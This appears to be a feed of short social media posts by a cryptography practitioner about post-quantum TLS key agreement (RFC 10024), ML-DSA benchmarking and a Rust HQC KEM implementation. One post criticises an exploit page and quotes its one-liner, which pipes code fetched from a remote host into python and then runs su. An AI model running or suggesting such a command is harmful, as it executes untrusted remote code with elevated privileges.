Woohoo, the TLS key exchange algorithm Chrome, Firefox, and friends have been using for the last two years is now an actual standard! https://datatracker.ietf.org/doc/html/rfc10024

RFC 10024: Post-Quantum Traditional (PQ/T) Hybrid Key Agreement Mechanisms for TLS 1.3

This document defines three hybrid key agreement mechanisms for TLS 1.3 -- X25519MLKEM768, SecP256r1MLKEM768, and SecP384r1MLKEM1024 -- that combine the post-quantum ML-KEM (Module-Lattice-Based Key Encapsulation Mechanism) with an ECDHE (Ephemeral Elliptic Curve Diffie-Hellman) exchange.

datatracker.ietf.org

Responsible disclosure is one thing, but including a command like ``curl copy.fail/exp | python3 && su`` on a page describing an exploit is far from responsible. Inevitably, people will copy and paste it just to try it out. And let's not forget - DNS hijacking is a real threat too!

Good coverage from Ars Technica arstechnica.com/security/202...

Benchmarking ML-DSA signing isn't straight forward. amongbytes.com/posts/202602... Next step is to come up with fixed set of vectors that can hit each corner case and give stable benchmark results.

Been experimenting with HQC, the Rust-based reference implementation of the HQC Key Encapsulation Mechanism (KEM), recently selected by NIST for post-quantum cryptography standardization. Repository, code can run on bare-metal MCUs (tested on Cortex-M33) github.com/kriskwiatkow...

GitHub - kriskwiatkowski/hqckem-edu: Hamming Quasi-Cyclic KEM

Hamming Quasi-Cyclic KEM. Contribute to kriskwiatkowski/hqckem-edu development by creating an account on GitHub.

github.com

My thoughts on PQ migration: amongbytes.com/posts/202509...